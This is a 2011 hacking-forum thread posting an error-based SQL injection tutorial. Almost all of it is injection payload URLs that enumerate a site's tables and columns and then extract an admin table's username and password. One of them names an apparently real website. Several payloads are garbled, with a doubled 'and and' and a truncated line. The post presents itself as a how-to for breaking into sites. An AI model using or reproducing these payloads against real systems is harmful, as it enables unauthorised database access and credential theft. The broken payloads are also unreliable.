My SQLi Injection Tutorial - Printable Version

My SQLi Injection Tutorial - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: My SQLi Injection Tutorial (/Thread-My-SQLi-Injection-Tutorial)

My SQLi Injection Tutorial - Kaveman - 09-19-2011

Sup HC? here is the tut OF SQLi Injection

Now Start

Code:
http://www.example.com/subcategor.id=cat2' and 1=convert(int,(select top 1 table_name from information_schema.tables))

Name Of table

Code:
http://www.example.com/subcategor.id=cat2' and and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbl_adminmaster')))

3 table
http://www.example.com/subcategor.id=cat2' and and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbl_adminmaster','tbl_maincategory')))

3 table

Code:
http://www.example.com/subcategor.id=cat2' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbl_adminmaster','tbl_maincategory','tbl_prodNEXT table

Code:
http://www.example.com/subcategor.id=cat2' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='tbl_adminmaster'))

Code:
http://www.paramparaindia.com/subcategor.id=cat2' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbl_adminmaster','tbl_maincategory','tbl_productlist')))

add the table name

now table is "TBL_ADMINMASTER"

FINDING COLUMN OF TABLE tbl_adminmaster

Code:
http://www.example.com/subcategor.id=cat2' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='tbl_adminmaster'))

1 COLUMN

Code:
http://www.example.com/subcategor.id=cat2' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='tbl_adminmaster' and column_name not in (select top 1 column_name from information_schema.columns where table_name='tbl_adminmaster')))

NEXT COLUMN

Code:
http://www.example.com/subcategor.id=cat2' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='tbl_adminmaster' and column_name not in (select top 2 column_name from information_schema.columns where table_name='tbl_adminmaster')))

NOW YOU KNOW THE METHOD HOW TO FIND COLUMN LIKE THAT

username:password

so next we see how to get data from it..

username data:

Code:
http://www.example.com/subcategor.id=cat2' and%201=convert(int,(select%20top%201%20username%20from%20tbl_adminmaster))--%20-

password

Code:
http://www.example.com/subcategor.id=cat2'%20and%201=convert(int,(select%20top%201%20password%20from%E2%80%8B%20tbl_adminmaster))--%20-

IF YOU LIKE REP+

RE: My SQLi Injection Tutorial - Kaveman - 09-19-2011

read this tutorial for begin http://www.hackcommunity.com/Thread-My-SQL-injection-complete-tutorial